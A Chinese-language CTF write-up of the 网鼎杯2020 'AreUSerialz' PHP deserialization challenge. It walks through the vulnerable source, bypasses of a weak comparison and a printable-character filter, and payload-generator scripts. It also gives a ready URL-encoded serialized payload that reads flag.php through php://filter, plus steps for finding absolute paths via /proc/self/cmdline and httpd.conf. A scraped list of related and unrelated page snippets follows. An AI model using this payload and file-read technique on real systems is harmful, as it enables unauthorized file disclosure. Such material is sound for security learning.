网鼎杯2020 AreUSerialz
0x00
前言
...有一说一,赵总的BUUCTF
上的这道题目并没有复现到精髓。其实感觉出题人的题目本身没有那么简单的,只不过非预期实在是太简单惹。
涉及知识点:
1.php中protected变量反序列化的小Trick
2.获取任意文件读取权限后的文件绝对路径的查找
<!--more-->
0x01
源码
直接进入题目就可以看到源码了。
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
0x02
分析
1.第一步-弱类型比较
大致讲一下比赛时候的分析过程吧。我吃完饭回来,队友突然给我来了一句__construct
构造函数可以调用process
函数,我迷惑了一秒,我之前一直以为这是一道反序列化的。然后赶紧查了一下资料,还好反序列化可以操纵的魔术方法中没有__construct
,记录一下。
分析源码发现可以调用的魔术方法只有__destruct
。而$op=2
可以读文件,$op=1
可以写文件,但是它把$content
设置为0说明写这个操作是绝对实用不了了。那么我们把目光放在读文件上。
if($this->op === "2")
$this->op = "1";
else if($this->op == "2") {
$res = $this->read();
$this->output($res);
}
这个放在这里应该没有人不会绕过吧。直接弱类型比较设置$op=2
就完事了。然后本来以为可以直接构造pop
链开始读文件的。但是遇到了下面的函数:
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
本来这里是没有什么问题的,但是因为你的变量是protected
类型的,所以会产生%00
字符,从而导致绕过失败。
2.第二步-绕过is_valid()
这里其实有两种绕过方法,这里都讲一下吧。
1.可以将protected
类型的变量设置为public
类型。然后就可以轻松绕过了。
<?php
class FileHandler {
public $op = 2;
public $filename = "";
public $content = "Hello";
}
$a = new FileHandler();
$a->filename = "php://filter/read=convert.base64-encode/resource=/var/www/html/flag.php";
$b = serialize($a);
echo $b;
?>
2.反序列化之前会做逐字判断,ascii必须>=32或<=125。由于这里是protected
类型,需要加上%00进行标识 但是%会被过滤,就用十六进制\00和S来绕过。
<?php
class FileHandler {
protected $op = 2;
protected $filename = "php://filter/read=convert.base64-encode/resource=/var/www/html/flag.php";
protected $content = "Hello";
}
$a = new FileHandler();
$b = urlencode(serialize($a));
echo $b;
?>
然后将payload
中的%00
替换为\00
,s
替换为S
就行了。替换后的payload
如下:
O%3A11%3A%22FileHandler%22%3A3%3A%7BS%3A5%3A%22\00%2A\00op%22%3Bi%3A2%3BS%3A11%3A%22\00%2A\00filename%22%3Bs%3A71%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3D%2Fvar%2Fwww%2Fhtml%2Fflag.php%22%3BS%3A10%3A%22\00%2A\00content%22%3Bs%3A5%3A%22Hello%22%3B%7D
然后到这里,BUUCTF
上的题目就可以直接读取flag
了。
但是到这里网鼎杯的题却没有出来,当时没有截图,不过有幸找到了WriteUp
。这里分析一下。
3.获取目标的绝对路径
网鼎杯中直接用相对路径读取发现会没有回显。猜测后端中修改了include
函数的路径,也不对啊,非预期就是读同一级的flag.php
啊?搞不明白好吧。反正使用绝对路径是绝对没有问题的。那么有了任意文件读取权限怎么获取绝对路径呢?
首先可以读取/proc/self/cmdline
这个文件。可以获得如下结果。
然后读取配置文件/web/config/httpd.conf
。获得网站的绝对路径。
然后读取/web/html/flag.php
就好了。
这里BUU
就不要尝试,因为你发现,BUU
使用的是apache2
。根目录就是我们熟悉的/var/www/html
。
0x03
结语
还行,通过这道题目学到了很多。尤其是S
和\00
绕过。学WEB
的师傅可以找我玩啊,可以一起学习一起进步的-->_<--。
QQ:550532788
0x04
参考
http://www.mamicode.com/info-detail-3004276.html
网鼎杯2020 AreUSerialz的更多相关文章
- [网鼎杯 2020 青龙组]AreUSerialz
题目分析 <?php include("flag.php"); highlight_file(FILE); class FileHandler { protected $op ...
- 网鼎杯2020青龙组writeup-web
本文首发于Leon的Blog,如需转载请注明原创地址并联系作者 AreUSerialz 开题即送源码: <?php include("flag.php"); highligh ...
- 【网鼎杯2020青龙组】Web WriteUp
AreUSerialz 打开题目直接给出了源代码 <?php include("flag.php"); highlight_file(__FILE__); class Fil ...
- 刷题[网鼎杯 2020 朱雀组]phpweb
解题思路 打开是一个蛮有意思的背景,众生皆懒狗,是自己没错了.源代码看一看,啥都没有.抓个包 诶,一看到func和p两个参数,想到了call_user_func(). 尝试着把date改成system ...
- 【网鼎杯2020朱雀组】Web WriteUp
nmap nmap语法,很简单. 127.0.0.1' -iL /flag -oN vege.txt ' phpweb 打开,抓包,发现可以传递函数和其参数 试了一下很多函数都被过滤了,不能执行系统命 ...
- BUUCTF | [网鼎杯 2020 朱雀组]phpweb
一道比较简单的题,不过对PHP还是不够熟悉 知识点 1.PHP date函数 PHP date() 函数用于对日期或时间进行格式化. 语法 date(format,timestamp) 参数 描述 f ...
- 【网鼎杯2020白虎组】Web WriteUp [picdown]
picdown 抓包发现存在文件包含漏洞: 在main.py下面暴露的flask的源代码 from flask import Flask, Response, render_template, req ...
- [网鼎杯 2020 朱雀组]phpweb-1|反序列化
1.打开界面之后界面一直在刷新,检查源代码也未发现提示信息,但是在检查中发现了两个隐藏的属性:func和p,抓包进行查看一下,结果如下: 2.对两个参数与返回值进行分析,我们使用dat时一般是这种格式 ...
- 2020 网鼎杯wp
2020 网鼎杯WP 又是划水的一天,就只做出来4题,欸,还是太菜,这里就记录一下做出的几题的解题记录 AreUSerialz 知识点:反序列化 打开链接直接给出源码 <?php include ...
随机推荐
- JS多物体宽度运动案例
任务 对于每一个Div区块,鼠标移入,宽度逐渐变宽,最宽值为400px,当鼠标移除时,宽度逐渐减小,最小值为100px. 任务提示: (1)多物体运动的定时器需要需要每个物体上同时最多只能开一个定时器 ...
- 斯福赛特:中了.Devos勒索病毒。所有文件被加密了,如何解密解决?
什么是.devos勒索病毒? 也称为DHARMA勒索软件1,它通过加密文件并要求支付赎金以恢复对文件的访问来修改您的文件. DHARMA勒索软件通过名为.devos的新加密病毒再次活跃.该特定的病毒家 ...
- ubutun 服务器配置jupyter notebook
由于能力有限,学习机器学习时候发现,自己的电脑带不起来,所以想起了服务器,选择的是阿里的ubutun服务器,所以希望能够 使用jupyter notebook,看到网上一大片,配置和好久,才成功,在这 ...
- linux Netfilterr中扩展match target
Match: netfilter定义了一个通用的match数据结构struct xt_match /* 每个struct xt_match代表一个扩展match,netfilter中各个扩展match ...
- 用system v消息队列实现回射客户/服务器程序
客户端程序 #include<unistd.h> #include<sys/types.h> #include<sys/socket.h> #include< ...
- JAVA SE——集合框架
1.首先根据业务场景选择哪种集合类型. set(无序,并且不包含重复元素),list(有序,并且允许重复元素),map(key-value,)
- Spring @Autowired 注解自动注入流程是怎么样?
面试中碰到面试官问:"Spring 注解是如果工作的?",当前我一惊,完了这不触及到我的知识误区了吗?,还好我机智,灵机一动回了句:Spring 注解的工作流程倒还没有看到,但是我 ...
- JS逆向课程笔记
扩展知识 Sources-js代码格式化
- 如何用Vegas完成视频编辑中的自动跟踪换图
Vegas作为一款专业的视频剪辑软件,剪辑速度快捷,拥有各种实用工具和特效,同样也可以为用户实现视频换图的需求.今天小编就为大家讲解,如何利用Vegas自动跟踪进行换图,让视频能够更加便捷的呈现. 本 ...
- 「LOJ 539」「LibreOJ NOIP Round #1」旅游路线
description 题面较长,这里给出题目链接 solution 考虑预处理出\(f[i][j]\)表示在第\(i\)个点加满油后,从第\(i\)个点出发,至多消耗\(j\)元钱走过的最大路程,那 ...